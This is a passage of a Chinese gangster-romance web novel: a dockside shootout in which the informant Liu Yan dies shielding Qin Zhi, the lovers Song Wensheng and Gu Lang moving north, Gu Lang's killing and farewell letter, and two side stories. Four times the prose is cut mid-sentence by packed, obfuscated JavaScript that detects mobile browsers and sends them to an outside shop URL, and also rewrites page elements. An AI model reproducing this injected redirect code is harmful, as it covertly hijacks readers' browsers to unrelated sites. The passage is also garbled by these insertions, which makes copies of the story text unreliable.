宋文生对外面的情况有些疑惑。他以为顾朗是带他来见宋文林,让兄弟俩当面对质拔枪赌命,没想到却成了旁观的观众。他自己的家务已经够乱,没有闲情关心秦家,比起围观父女反目,他更想带人直捣宋文林老巢。 但他还是安稳地站在仓库里,因为顾朗从旁握着他的手腕。顾朗似乎忍耐太久,此刻再也做不了伪装,手指尖偶尔痉挛颤抖,在寒冬腊月里攥得宋文生的手腕出了层薄汗。 有什么大事将要发生了。 他听到刹车声,由一辆猛冲过来的黑车扭摆着发出。码头深夜照明不太好,这辆漆哑光的黑车却足够夺人眼目。它开得十分刺激,像个炫技的花滑选手,最后擦边停在货仓墙壁前,离车毁人亡只隔一线。 轮胎抓地的刺耳摩擦声还没过去,后座的车门就被一脚踹开,露出一只穿着牛皮短靴的脚。秦栀从车门后慌张地探出头,脚刚落地就想逃跑,可惜一步都没迈开就被车里的保镖一把抓住,扯得她一个趔趄。 “放开!” 对待自家的雇工,秦栀纵使逃家也保留了老板的习惯,大声呵斥抓她的壮汉。难为这些五大三粗的黑衣人,就算刚才秦栀在后座差点折腾出一车人命,他们也得小心别把秦栀手捏疼了。 左右两个男人把秦栀拎到光线最好的开阔地带,带到她父亲跟前。秦先生想和女儿用眼神交流下生疏的情感,秦栀把脸偏向一边,看也不看她爹。秦先生不太计较地伸手拍了拍她,引起秦栀明显的战栗,像被恶鬼拍了肩。 他还是挂出一个笑容:“很久不见了。这么多年都没找到你,倒是很有本事。” “呸!”秦栀一口啐在了秦先生脸上。她本来有很多话可以说,却偏偏选了种最街头无赖的回应。 秦先生的笑脸挂不住了。他抖开手帕,慢条斯理地擦干净脸。“在外面混野了。”他如此评价。 得到这个称赞,秦栀终于正眼看过去。她比秦先生矮一截,气势上却并不输,凶狠地瞪视着,像看一个踩进了母狮领地的偷猎者一样看着父亲。面对这样的秦栀,秦先生闭了闭眼,似乎在克制自己要有教养地解决此事。可他深深呼吸了两下,还是高举起手,决心一巴掌把女儿打回正轨。 在他挥手的前一秒,第二辆车开了进来。 它比第一辆低调许多,但仍然是急冲又急刹地闯进现场。它不在秦先生的预料内,保镖们纷纷警戒,可它很懂分寸地停在一个安全距离上,恰好把现场的弓弦拉到最满,又不至于崩断。 车门打开了,从车上下来的又是一个女人。 在场以秦先生为首的外来者还没认出这是什么人物,闻声转头的秦栀先惊喜地叫道:“柳胭!柳胭救我!”她本已安分一些,这下又像一尾待宰的活鱼一样挣扎,旁边的保镖们但凡反应慢一拍,她就要跑过去扑进柳胭怀里。 秦先生立刻反应过来这名字代表的意义。他不顾秦栀的脸色,一只手牢牢按住秦栀的肩膀,礼貌地问对面:“柳小姐,深更半夜来这做什么呢?” 柳胭连谈生意时最基本的寒暄也不做:“我来带秦栀回去。” 仓库里的宋文生和外边的秦先生一齐扬了下眉,宋文生是来了兴趣,秦先生是觉得烦心。他否定得很快:“不行。这是我们的家事,柳小姐还是不要插手的好。你现在回去,我可以不追究。” “谁跟你是一家!”他手边的秦栀骂出声,要不是被按着,她还想咬她爹的手一口。看见她的样子,柳胭反而笑了:“秦先生,看样子令媛不太情愿啊。这样吧,我们都是生意人,不说暗话,谈一谈条件怎么样?” “嗯?”秦先生表现出一点兴趣,“你说。” “您带秦栀……秦小姐回家,想必是想通过联姻来壮大家族吧?但是您也看到了,秦小姐这个态度,可能不会太顺利……”柳胭强撑着笑意,“要为家族牟利,也不只有这一种方法。您大概听说过我,在情报市场里,我可以算一个行家。如果您愿意放秦小姐自由,以后我们能合作无间……这样不也很好?” “哈,”秦先生按着秦栀的力气又加重一些,“你的提议不错,秦栀确实很不听话,你也确实很有能力,能躲我这么久。不过,你也不用秦小姐秦小姐地叫,我知道你,知道你和秦栀是怎么回事。” 秦先生押着女儿后退几步,伸手一挥,保镖们上前护住他,带有威慑意味地拔枪上膛。在他们身后,秦先生的声音又传来:“秦栀是秦家的人,这里面没有生意可谈。我也不喜欢和重情重义的人谈生意,聊不来。” 柳胭没话可说了。她孤身站在秦家一圈枪口之前,上前一步都是死。但她更不可能后退,秦栀的身影就被挡在人墙后面,她只能看见一双黑色牛皮小短靴,那是她送给秦栀的圣诞礼物,抽空陪秦栀牵着手逛街选的,新换上时秦栀还转着圈给她看。 她如果走了,不仅抛下秦栀,也抛下自己的一切。 在僵局中,顾朗先有动作。他从宋文生身边走开两步去打电话,很快被接通,似乎对面的人正在等他。他语焉不详地吩咐几声,宋文生听得仔细,听来的却都是 “可以了”、“放心”之类的废话。 等他挂断,宋文生的好奇心也被完全勾起,直接问他:“是谁?” “最后要来的人,”顾朗走回宋文生身边,和他一起看出去,“马上结束了。” 宋文生今晚第三次听见引擎的声音,几乎踩着顾朗的话音响起。这次声势格外浩大,明显是群体的躁动。外面悬殊地对峙着的双方也注意到这阵异动,纷纷看向码头入口。在探照灯的打光范围之外,成排的车灯疾驰而来,阵仗竟然压过了秦家。最惊慌的是秦家的保镖们,迅速地集成一片保护秦先生扭着秦栀退回游艇,但是秦栀抓住机会,突然挣脱了一只手把她爹拖在原地。因为这毫厘的误差,新来的车队已突兀地橫插进来,把柳胭和秦家人都围住。车手们下来时人人都带着枪,比秦家的保镖还狠恶。 车上载的毫无疑问是群暴徒,宋文生竟然认出了他们的领头人,他刚刚才在柳胭传来的情报里见过那张脸。 不过这些人对秦先生来说当然是无名小卒,他站在暴徒们的包围中,还敢厉声喝问:“什么人!” 这群混街头的刚巧也不认识秦先生这样的跨省幕后,只觉得这位中年富豪话多又傲气,很碍他们的眼。站得靠后的打手不耐烦地问:“就是他没错吧,头儿?” 领头的把烟卷吐在地上,不向秦先生解释,直接发号施令:“动手!” 这一声惊动双方势力,保镖和匪徒立刻开火搏击搅在一处,两边都是杀人的专家,不过匪徒占据了人数优势。手眼通天的秦先生也只能在横飞的子弹间弯腰躲藏,秦栀却有勇气从他手里挣出,没等别人反应过来就朝着外面飞奔。 “秦栀!”身为家主和父亲的秦先生追着朝女儿的背影伸手,一颗子弹擦过他的脸把他逼退。这下秦栀彻底跑远了,在枪声和惨叫中喊着柳胭的名字:“柳胭!柳胭你在哪!我们快走!” 暴徒们可能从没见过这么不怕死的,竟然没在厮杀中误伤她。但是在离战场稍远的地方站着个刚入行不久的年轻人,还没见过大场面,一切发声的物体都让他反应过激。秦栀开口的瞬间他下意识扫射过去,为了给自己壮胆,他带来一支散弹枪,秦栀的后背毫无防备地暴露在他眼前,在这个距离上只要开火必然对这具年轻的身体造成致命伤害。这个年轻人僵着手指,扣了扳机—— “秦栀!” 仓库中的宋文生情不自禁地向前一步。没人能想到场面会失控至此,他知道最后来的那些人肯定和顾朗的电话有关,也和秦先生一样地问顾朗:“这些是什么人?宋文林的手下?怎么和秦家开火?” 他比秦先生幸运,问对了人。顾朗为他详细地解释:“是宋文林的手下。我请动的他们。柳胭的情报我也看过,缺钱的给钱,缺人的给人,凡是他们缺的我都帮忙,只要他们帮我做这件事。宋文林不够信任他们,没告诉他们来的是秦家人,他们只以为是普通富豪,和我有生意冲突而已。秦家不是他们的对手……姓秦的觉得柳胭势单力薄,带的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344679|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人手大半都借给了宋文林。等这些人被查明身份,秦家会以为是宋文林想黑吃黑……文生,宋文林已经完了。” 宋文生将仓库门拉开,现在他们不用担心被人发现了。他向前走了几步,说:“不只是宋文林。” 离他不远的前方,柳胭压着秦栀倒在地上。他刚才看得分明,柳胭在一声撕心裂肺的叫喊后撞在秦栀身上。她们连一句重逢的话也来不及讲就倒在一处,柳胭把秦栀抱在怀里,流出的血被探照灯光照得鲜红。 秦栀打着抖去推柳胭。一句重逢的话语也没有,再也来不及讲了。 顾朗站在宋文生身后,问他:“文生,你看见了什么?” 应该看见的都很清楚。太清楚了,像有谁故意让他看见。他哑声说:“柳胭死了。” “这不是全部。”顾朗说。 “没有别的了。” “有的,你也知道,只是不说。文生,柳胭‘为了救秦栀’死了。” 重点被挑明后,宋文生也不回避了。他要把想问的通通问个明白:“为什么要牵扯柳胭和秦栀?” 说完他自己想了下,发现这问题还能更追本溯源,改口又问:“你一开始就向我推荐柳胭。为什么?” 顾朗低头笑了下,踢开了一小块脚边的碎石,重复一遍几个月前的话:“柳胭和秦栀,她俩在一起六年,信她总比信别人靠谱。” “什么?”宋文生没反应过来。 “她们俩是真的相爱。在你待的圈子里,大概是最真心的一对。” “就因为这个?” “就因为这个。当然,柳胭谍报也做的很好。” 宋文生不再去听秦栀的哭声,而是转过身看顾朗。顾朗的表情完全暴露在灯光下,在惨白的光照中显得平静。宋文生同样平静地向他宣布:“你疯了。” 顾朗摇头:“我很清醒。我很难找到这样的一对,尤其是柳胭,爱秦栀到愿意为她去死。你都看见了,这些真情实意都是真的存在。” “你根本——没必要——” “很有必要!”顾朗终于激动起来,一步步走近宋文生。宋文生举起枪,他却寸步不停,直到枪口抵在自己心上,宋文生几乎顺着那冷硬的金属感到他起伏的心跳。 “这很有必要,而且刻不容缓。宋家几个人,李言花早就病死,宋至诚也被你杀了,只剩下宋文林,你也快要动手。如果到那时我还不能——那等你杀了宋文林,你该怎么办?不爱人也没人可恨,怎么走都是死路!尤其你还认识了屠约,彻底走到这条道上——□□没几个人谈感情!我已经试了很多次,我没有别的办法了,只有找到这样的两个人,把她们带到你眼前——” “够了!”宋文生粗暴地打断他,“仅仅她们俩又能说明什么?” “不止是她们!就算是宋至诚……宋至诚死的时候,他跟你说什么?” “宋至诚……”宋文生有些发怔,他亲手杀了自己的父亲,回忆却已开始模糊,“他怕我去挖李言花的墓……他跪在地上,求我放过那个女人。” 宋文生半闭着眼,痛苦地颤抖。缺少父亲的童年、二十年前的情书、母亲无人献花的墓碑、他和顾朗的家……这些片段在他面前交错闪现,让他感到窒息,不得不大口喘气,连瞄准顾朗的枪也握不稳。眼看手臂就要落下,顾朗却握住了他的手,帮他将枪口对准。 “这是最后一次了。文生,宋家三口都快完了,不管你选什么,都会很快结束。我最后一次请求你,如果你仍然不能相信我,那就杀了我。” 宋文生有些茫然地抬头看顾朗。他们距离如此近,像是又回到出走的那个夏天,顾朗站在阳光下,宋文生站在树荫里,而顾朗执着地要将他从阴影底下拉出来。但这是如此、如此困难的一个小举动,对感情的蔑视已经侵蚀了宋文生二十余年,足够将他整个人蛀成空心。 “宋文生,”顾朗声线颤抖,掉下眼泪,“求求你。” 外边的厮杀已经快到结局,秦先生和领头的大哥都倒在地上,柳胭躺在秦栀膝上,秦栀给她轻声地哼歌。混沌的一晚快过去了,新的一天将到来。没有人注意到他们,宋文生的选择只在于他自己,六岁的他、十六岁的他、二十来余的他,一具沉在沼泽里的枯骨,一个被钉在棺材里活埋受难的灵魂。 他松开了枪托,顾朗也松手,枪落在地上。两人间没有别的阻碍,宋文生直视着顾朗,对他说:“好。” 10. 一切从头开始 按顾朗的话说,他们现在算重头开始。宋文生做事下狠手,仇家太多,要想彻底过上新生活,还是得搬家。他对这些琐事一窍不通,都靠顾朗筹划,他只负责乱提意见:向南还是向北、近海还是近山、多晴还是多雨。最后仍然是他脑袋一拍做决定:“往北去吧,走远点。” 自南向北而去,去一个气候习俗都不同,没有旧相识的新地方。 顾朗做事迅速,新年过完他们就搬到了秦岭以北。仍然是普通的民宅小区,二居室,小区是新建成的,房子却是二手房。原来住着一对新婚夫妻,当婚房用,住没多久丈夫升迁妻子怀孕,闲聊时他们说要卖掉这处去南方新买一间,要带幼儿室。 宋文生在旁边有一搭没一搭地听着,送人出门时突然在顾朗背后出声说:“新婚快乐。” “啊,”旧房东有些惊讶,一愣之后才反应过来,也笑着祝福,“你们也生活愉快啊。” 送走前任房主,顾朗转过头看向宋文生。宋文生耸了耸肩:“没说错吧?做好人也是要学的。”他站在阳台门边上,一只手扯着阳台窗帘,那还是女主人留下的,有内外两层,外面青色条纹,里面白纱碎花,遮光又雅致。顾朗走过去替他把窗帘拉好,开心地拍他肩膀:“再接再厉。” 这时天色已经很晚,他俩忙了一天格外饿,宋文生拉开冰箱一看,大半都是空的。“吃什么?”他问。顾朗从他身后探头看了下,只有面条番茄和鸡蛋,自成一套菜谱。“我去下碗面吧,厨房里还有调味品和碗筷,”他把食材都搜刮出来,这下冰箱彻底空了,“总不好第一天就吃外卖。” 宋文生对于外卖没偏见,不过下厨忙的是顾朗,他就没所谓。顾朗转头进了厨房,做饭时陆续的响动勾起宋文生一点怀旧的念头,可惜这房里没音响,他一边琢磨着以后添置一套,一边坐在沙发上开电视。 现在已经不是去影碟铺子租碟片的时代了,电视自己就连网,但是宋文生拿不准电影流行,之前即使陪人去电影院也多半是从头困到尾。他在主页搜索半天,眼熟的还是千禧年左右的作品,最后失去耐心,鬼使神差按了无间道。 他还是七年前看过这部,剧情台词都快忘光。等他从顾朗手里接过碗开始吸溜面条时,片头正好出来,是这样一段话: “八大地狱之最,称为无间地狱,为无间断遭受大苦之意,故有此名。” 宋文生这才回过味,心想自己挑电影的水准真是烂得别致,电影当然是好电影,只是实在不适合这一天。 顾朗却没觉得什么不妥,心思根本不在电影上,等宋文生吃完就自觉地去洗碗,留宋文生一个人看到尾声处那句经典:“我想做个好人。” 他对着屏幕里刘德华和梁朝伟的两张苦脸出神,顾朗已经带着湿气坐回他身边,刚刚洗完澡,北方供暖足,足够他赤着上身擦头发,有些水沫溅到宋文生脸上,让他回过神来。他擦着脸看电影里的卧底们,又看一下身边的顾朗,喉结滚动一番,想问点什么,但词句扒在唇边不肯出来,梗得他气短。仿佛受这阵沉默的影响,顾朗手上的动作也停下了。他张嘴又闭上,宋文生还以为他在酝酿什么正经话,要谈谈人生哲学,他再张嘴时,却对宋文生说:“文生,我们做一场吧。” 宋文生更加发愣地盯着顾朗看,顾朗的发梢还带着湿气往下滴水,察觉到宋文生的注视,他转过头扯出一个笑容,可惜牙关咬得太紧。宋文生又越过他去看墙上的挂钟,十点过了,大晚上的——干什么都不为过。 主卧里的床是双人尺寸,从前睡着新婚夫妻,现在躺着他俩。等他们在床上滚在一处,宋文生伸长了手按灭床头灯。屋子里黑灯瞎火,不知道他是想让这晚上仓促地过去,还是觉得抛弃视觉反而印象深刻。没了照明,顾朗在黑暗中摸索着亲吻宋文生,从眼睑一路到锁骨。宋文生翻身把他压下去,一只手撑到顾朗身上。宋文生在视觉上很熟悉顾朗的身体,但是他俩上次睡在一处还是七年前……都是很久之前的事了。这时他细致地抚摸,指尖能摸到肌肉上凹凸的触感,有些是刀伤,有些是弹痕。这实在不像一具会调()情的身体,顾朗确实也只会紧紧环抱住宋文生的腰背,有些气喘,仍然断断续续地说着真心话:“宋文生……”他一边喘息,一边在作掩护的夜色里告白,“文生,宋文生……我爱……唔……” 宋文生腾出一只手捂住了顾朗的嘴,似乎仍然听不惯这些字眼。他想,还是得一步一步来。 这场情()事让宋文生睡了沉稳的一觉,第二天却醒得过分的早。他从床上坐起来时窗外只有一点朦胧的灰亮,但他感觉自己不可能再睡回去,干脆翻身下床,去阳台上抽烟清醒。大半座城市都没他起得早,早起的都是学生、早餐铺子和环卫工,他像唯一一个不睡觉的闲人。他走时顾朗睡得还沉,没过一会却听见背后有脚步声。他也不回头,夹着烟问顾朗:“我怎么这么闲呢?” 顾朗从他指缝间抽走烟身,自己吸了一口,呼出烟气时回答他:“你要学着过这种闲日子,这也很要紧,也是有事可做。” 宋文生瞪了他一眼,顾朗无辜地摆了摆手:“我的抽完了。” 宋文生仍然不声不响地打量着他。自从码头那个晚上之后,虽然是顾朗改变了他,他却也察觉了一点顾朗自身的变化。从前,或许是知道说话没用,顾朗不是个多话的人,现在却明显的话多起来,字里行间夹带着一种委婉的亲近,不说情话,比情话更粘人。最后他冷笑一声,从顾朗的外套口袋里摸出香烟盒,在他眼前晃了两下,里面明明还躺着一根。他把那根烟拿出来叼上,告诉顾朗:“这才叫抽完。” 顾朗笑起来,把自己指间的在阳台栏杆上按灭,问宋文生:“要不戒烟吧。”宋文生点着火,含糊不清地回答他:“行啊,再去买最后一包,抽完就戒。” “就这样说好了。”顾朗认真起来,真要进屋去穿衣下楼。宋文生也不拦着,反正也该吃早餐了。他反手撑在栏杆上,目送顾朗走到门口,顾朗打开门,一只脚都已经跨出门槛,又忽然地转身。“宋文生,”他说,“我爱你。” 到底是让他给说出口了。 宋文生还没反应过来,门就关上了。几秒过后他低头笑了一声,把还剩大半的烟身撵了几圈,灭了。 这就是他们俩分别……永别时的情景,是宋文生最后一次见着活着的顾朗,听他说的最后一句话。他下一次同别人谈起顾朗,是在秦栀打来的电话里。他并不认识打进来的号码,等那边“喂”了一声,却立即就反应过来,毕竟秦栀唱歌好听,声音令人记忆犹新。 “喂,”开头第一句,秦栀并不关心他的近况,而是单刀直入地问他,“你收到顾朗死讯了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344680|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那天早上顾朗被卷进酒驾事故,他已经认了尸,肇事司机还没被找到。宋文生有些明白了:“你做的?” “是我,”秦栀大方承认,“我跟他说过不会放过他,也答应他如果他不反抗,我可以帮他转达遗言。” “你不对我也下手?” “你又不是主谋,是顾朗自己做错事,选错方法,我不牵连你。” “你比从前懂事了。” 秦栀失笑:“你很了解我,还是看着我长大?懂事……也没说错。毕竟秦家现在只有我当家,柳胭……也没有亲近的人帮衬我。不过我今天不是来诉苦的,顾朗说他在行李箱里给你留了封信,要我告诉你记得看。” “哦,”宋文生在电话外点了点头,“我会记得的。谢了……没别的事我挂了?” “宋文生!”秦栀喊住他。宋文生也停下动作,听了对面几次呼吸后,听见秦栀又问他:“你难过吗?” “我难过……”这问题有点出乎宋文生意料,他不自觉地把手机换了只手,才回答,“可能吧……应该。我没想过。不过生活是有点麻烦……你很关心我?” “没有,只是好奇。没别的事了,你挂吧。” “行吧,再见。” “再见……永别了。宋文生。” 电话那头挂得干脆利落,很快没了声音。宋文生看了会挂机界面,想起来刚才这通电话的重点,放了手机去主卧里搬出顾朗的行李箱。行李箱钥匙他也有一把,不过之前一直没兴起过这个念头。里边的东西都被顾朗收拾好了,只剩个箱子的空壳,他摸了一下夹层,摸到一张对折的牛皮信纸。顾朗没有遵循写信的规格,比起一封信,这更像出门前留的一张便笺。长度也不长,在短短几行字中,顾朗这样写: “文生,你看到这封信时,我大概已经死了。不能再在你身边,我实在非常、非常遗憾。不知道你会否难过,如果你没有,那再好不过。我做了错事,遭了报应,但你仍然可以开始新生活。我已经帮你打点好,只要你愿意,就可以一直过下去。 文生,在过去,在写信的现在,我都非常爱你。你不习惯听这些话,所以我写下来,但如果有机会,我仍然想亲口对你说。如果我能活着,我将一直爱下去。即使我死了,在人们的生活中,还会遇见许多别的感情。你既然已经恢复生活的信心,想来遇见下一个人,遇见接下来许许多多的人们,都不过是时间问题。而你是这样好的一个人,想必不会受到辜负。只要你愿意,也不会再受旧事牵连。” 在信的末尾,顾朗重提一行,最后写了一遍我爱你。写好之后,开头的我字又被草草划去,失去了主语,只剩下感情,多出来许多可能性,一直向着未来延伸。 宋文生坐在床沿读完这封信。他生活在一个信息爆炸的时代,供职于一个少说废话的行业,他长到这么大也只见过两封信,一封关于很久之前偷看来的父辈的恩怨,几乎像一本清算孽债的账本。而顾朗似乎在最后关头也执意和纠缠宋文生的过去作对,在这封短信里只写关于宋文生的好事,没有“然而”,没有“不过”,由第一个字到末尾,都向宋文生剖白自己的真心。 将每个字句标点都阅读过、记忆过,宋文生捏着信去了阳台。他三两下把信纸折成一架浅褐的纸飞机,扬手一放,这封信和过去的一切,都乘风飞远。 11. 番外:无名之日[番外] 这是很久之前的事情,是很久之前不被铭记的某天。 她们是趁着国庆,杂在大队游客车流中混进这座沿海大城的。黄金七天,全国景点都爆满,她们顺应这种火爆的热情,先不谈暂住证和落脚地,也把自己当作游客,在南方城市的十月烈日下去凑人群的热闹。最兴奋的是晚上回家时路过沙滩音乐节现场,沙滩、音乐、节庆,每一项都勾人,秦栀当即喊停了出租车从车上跳下去,差点把柳胭衣袖扯断。她脱了鞋,一手拎高跟一手牵柳胭,沿着沙滩的斜坡小跑下去,实打实地踩在一片干沙上,跑得面前一路飞灰。柳胭听着飘扬的乐声,不知道秦栀还对民谣感兴趣。她刚遇见秦栀不久,秦栀已经把长发剪成波波头,刘海留在了眉毛上面,怎么街头怎么穿,背心配热裤,鼻梁上还架着两元店里淘的亮粉心形墨镜。但她终究是从秦家大门里跑出来的,柳胭一直以为她的歌单应该更加……古典上流。 又或许是不是民谣都没关系,她只是乐意飞扑向所有不用阶级作邀请函的热闹现场。 现在她们已经遂了秦栀的愿,两个人手牵手站在涌动的人群中间。音乐节现场当然都是音乐爱好者,路人也能跟着音响轻声哼唱,歌谣旋律和沙滩边轻轻拍打的海潮一样无处不在,她们每走一步都能踢起浪花。连边上的海滩小店也应景地挂着吉他,店门边摆了一把供人试弹。柳胭拍了下秦栀向她示意,自己走向小店。店老板朝她微笑,她拿起那把样品吉他拨弦试音,坐上了旁边摆着的高脚凳。秦栀把墨镜推上额头,底下一双稍圆而显得活泼的眼睛朝柳胭看来。她迎着秦栀的目光,笑着弹唱起来: “Near Banbrige town in the county down 班布里奇小镇周遭 One morning last July 去年七月的一个清早 Down a boithrin green came a sweet cailin 自乡村草地间来了个可爱姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344681|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' And she smiled as she passed me by 路过我时她悄然一笑 From Bantry bay up to Derry quay 从班特里湾到德里码头 And from Galway to Dublin town 从戈尔韦到都柏林 No maid I’ve seen like the brown colleen 再没有人能如她那样 That I met in the county down 我在小镇上遇见的棕发姑娘 ……” 低缓的女声独自为年轻姑娘唱着赞歌,一曲终末,柳胭凑过去亲在秦栀侧脸。沙滩中心开始放烟花了,红橙黄绿乱糟糟地照亮大片夜空。围观的人们吹着口哨欢呼叫好,在音乐和焰火中纷纷为她们,为她们的未来献上祝福。 12. 番外:昨日之日[番外] 有人在敲门,“叩叩”,宋文生听见了,但只是把被子蒙住头,翻个身,没有下一步动作。 变成砸门了,哐哐——哐!这声音没法靠被子和睡意隔住,宋文生眉头皱在一起,忍无可忍,别无选择,一把掀翻被子,在冷空气和怒火里打了个寒颤。敲门声没有因他的清醒而停下,不打算给他留点换衣服的空闲,听架势像辆攻城锤架在他门外,再慢两秒就要破门而入。宋文生尤其讨厌被打扰睡眠,穿着睡衣三步跨作两步,绕过地上堆放的杂物扑向门口,大力拉开那扇夭寿、多嘴的房门。暴怒和咒骂都蓄势待发——但敲门的人比他更快,门缝刚开两厘米就伸进来一只手,等门开一半那手已经摸上了宋文生的脸。宋文生看清来人,大惊失色,只来得及大喊:“顾朗?!你发什么神经——操,不要凑我那么近!” 即使他迅速后仰,顾朗冲进房门时还是差点撞上他鼻尖,吓得宋文生以为他要亲上来——不得不怀疑他确实有这个打算,幸好及时停住。但是距离仍然近得危险,顾朗双手捧着宋文生的脸,像捧着尊古董似的仔细打量,指腹从宋文生的太阳穴摸到颧骨,好像突然脸盲症发作,即使挨得这么近,也声音发颤地问:“宋……文生?” 宋文生被他吓了一跳,差点以为他瞎了,甚至忘记拉开距离,愣愣地喊:“顾朗,顾朗?你在……你在哭吗?” 顾朗听见这个问题,才意识到自己在掉眼泪。他放开双手胡乱抹干脸,争辩说:“没有,我跑过来的,一路风太大,沙子进眼睛了。” 睁眼说瞎话,他声音都还在哽咽。宋文生情感不细腻,但至少不是聋子,听得更摸不着头脑了。但是他敏锐的直觉警告自己现在最好避开麻烦,别再追问,所以他侧身让顾朗进屋,招呼道:“算了,进来坐——阿嚏!至少等我先把衣服换上。” 宋文生走进房间,把地上散落的衣服都捞起来,顾朗在一墙之隔的客厅正襟危坐。他的眼泪停住了,思绪还在飘散,这时候回想起方才瞥到的穿睡衣的宋文生……宋文生十六岁前冬天都穿一套藏青的纯色呢子睡衣,像个退休老干部,没有任何能想入非非的要点。 但是顾朗脸上情不自禁地浮现笑意。他翻过日历,自己回到了小镇生活的最后一年……最后的。岁月道路上只剩这一小段坦途,他们再往前一步,就跌落进坟墓被活埋,甄如的坟墓亦是他们的坟墓。顾朗回到这一年,像回到纯真年代的路标前,快乐和痛苦在这里分了界。他有些隐隐的伤怀,但见到宋文生后,他就忍不住笑起来。 宋文生穿好衣服从房间里出来,问顾朗:“找我干嘛?傻笑什么?”顾朗回想自己年轻时的言行,双手架在脑袋后面,靠在沙发上回答:“快过年了,当然又无聊又开心。今天没有什么别的事,干脆来找你。” 宋文生总觉得顾朗现在一举一动都有种表演性质。他想起前几天看的未解之谜,问顾朗:“老实说,你是不是别人变成顾朗来接近我?” 他想问顾朗是不是外星人。顾朗没意识到,情不自禁地问:“这都被你看出来了?” 宋文生穿上大衣感叹:“真傻了。但是傻了也得来给我当苦力,我妈最近有事不在家,喊我先去买点年货。” 顾朗想起来,确实还有这么一茬。他当然乖乖听话跟宋文生出门,走了一会宋文生却转头不耐烦地问他:“走快点啊,老落在我后面干嘛。” 顾朗被问得又是一愣。他早已养成习惯,都快忘记这个时候,这个时候……他们确实还是肩并肩地走在一起,甚至勾肩搭背地往前去。他低头笑了一下,应宋文生所说的,快步赶上了他。 宋文生对采买年货毫无经验,刚走到年货市场门口就头晕。他们赶上年前最盛的一场热闹,叫卖的人声和新年好的单曲循环一齐在每个摊位埋伏着。宋文生算是明白甄如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344682|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么派他来了,他自己也想立刻掉头回家。 还好被他征壮丁的顾朗拍了拍他的肩膀,很清晰地列给他听:“对联福字、腊肉香肠、干果零食,你先从哪里逛起?” 他们两个身材都算高大,但进门后也只能在密集人群里艰难穿行。等两人双手提满地挤出市场后,宋文生大口呼吸新鲜空气。 顾朗朝他提议:“我们走后门这边绕个远路回家吧。” 宋文生回头看向刚穿过的熙攘集市,没有不同意的道理。 后门这条街上行人稀疏许多。平时这里就不热闹,大年三十之后商铺又要关店放假,走在路上像走在鬼片片场。但今天街边门店都还尽最后的职责开着,平时不常见的人也都出来活动,走到十字街口时,路口甚至有位卖唱歌手。歌手把吉他盒子摊开在面前,看到两个难得的年轻听众走近,拨了拨弦重新唱起一首。 顾朗与宋文生不约而同地驻足,听歌手唱完整首告别歌曲。这不是适合新年的吉利小曲,但顾朗侧头看了眼宋文生,走上前把身上的零钱都放进歌手的吉他盒。宋文生站在后边等他,没有什么表示,顾朗往回走时却听见他突然地感叹:“今天天好蓝啊。” 顾朗跟着他抬头看去,今天虽然寒冷,但确实是个晴朗冬日。在现在这个时刻,他们目之所及都红红火火,头顶是清澈的苍蓝天穹。顾朗呼了口气,蓝天下,他眼前,一小片白雾茫茫。他问:“文生,你会特别记得这一天吗?” 宋文生摇头,笑他:“顾朗,你今天真的很奇怪。这样的日子天天都有,记它干嘛。” 顾朗也笑,没有再接话。他想起自己的疑问,如果真的回到过去,他该做什么,又想做什么?他要大哭大笑、和宋文生亲吻拥抱、拯救甄如、替他们自己扫墓献花。但是真的回到这一天时,他只是笑一下,提了提手上的东西,和宋文生一起绕了个远路回家。